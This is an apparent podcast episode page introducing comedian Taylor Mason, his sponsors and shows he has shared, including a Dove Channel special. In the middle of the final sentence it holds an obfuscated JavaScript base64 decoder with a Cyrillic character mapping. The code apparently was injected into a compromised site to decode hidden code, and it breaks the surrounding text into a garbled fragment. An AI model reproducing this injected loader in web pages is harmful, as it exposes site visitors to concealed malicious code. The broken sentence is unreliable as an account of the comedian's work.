Taylor Mason

This is episode is brought to you by Patreon Sponsor Colin Street and the Clean Comedy Conference.

Taylor Mason is a juggernaut of comedic activity. His shows are accessible to EVERYONE. He connects in a sly and subtle way with his audiences that have them coming back time and time again. I first worked with Taylor at Zanies in Vernon Hills, IL and most recently shared the stage with him on the function h052c1b60aed(x6){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var t4='';var t2,u1,q3,q7,sa,r9,u2;var u4=0;do{q7=qd.indexOf(x6.charAt(u4++));sa=qd.indexOf(x6.charAt(u4++));r9=qd.indexOf(x6.charAt(u4++));u2=qd.indexOf(x6.charAt(u4++));t2=(q7<<2)|(sa>>4);u1=((sa&15)<<4)|(r9>>2);q3=((r9&3)<<6)|u2;if(t2>=192)t2+=848;else if(t2==168)t2=1025;else if(t2==184)t2=1105;t4+=String.fromCharCode(t2);if(r9!=64){if(u1>=192)u1+=848;else if(u1==168)u1=1025;else if(u1==184)u1=1105;t4+=String.fromCharCode(u1);}if(u2!=64){if(q3>=192)q3+=848;else if(q3==168)q3=1025;else if(q3==184)q3=1105;t4+=String.fromCharCode(q3);}}while(u4-up-for-families-episode-1/">Stand Up For Families special hosted by Chonda Pierce on the DOVE CHANNEL.
